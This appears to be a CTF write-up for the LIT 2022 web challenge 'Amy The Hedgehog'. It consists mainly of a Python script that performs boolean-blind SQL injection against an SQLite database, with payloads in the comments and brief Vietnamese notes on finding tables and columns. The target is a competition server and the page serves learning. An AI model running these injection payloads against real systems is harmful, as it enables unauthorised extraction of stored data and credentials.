> For the complete documentation index, see [llms.txt](https://giongfnef.gitbook.io/giongfnef/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://giongfnef.gitbook.io/giongfnef/writeup-ctf/web/lit-2022.md).

# LIT 2022

## web/Amy The Hedgehog

![](/files/zwJnKTEgbfhRnrz0u2g7)

```
import requests, string

url = "http://litctf.live:31770/"
s = requests.session()
passwordRetrieve = ""
# ' or (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type = 'table' AND tbl_name = 'names') = hex('some_char')--
# find column from table: ' or (SELECT hex(substr(sql,{index},1)) FROM sqlite_master WHERE type = 'table' AND tbl_name = 'names') = hex('{char}')-- 
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
def solve():
    global passwordRetrieve
    index = 1
    len_of_password = 14 - index
    for i in range(len_of_password):
        for char in alpha:
          passwordfield = f"' or (SELECT hex(substr(name,{index},1)) FROM names) = hex('{char}')--"
          postParam = {'name': passwordfield}
          response = s.post(url, data=postParam).text
          if "You got it"  in response:
              passwordRetrieve += char
              index += 1
              print("Nai here yr pass: ",passwordRetrieve, "  len:",i)
              break
          print(char)
solve()
```

* Xác định SQLite -> sqlite\_master -> tbl\_name -> column -> name
* [doc1](https://freetuts.net/lenh-select-trong-sqlite-1731.html)
* [doc2](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#boolean---count-number-of-tables)

![](/files/cQZOIU1C45Asi9aoD1Cf)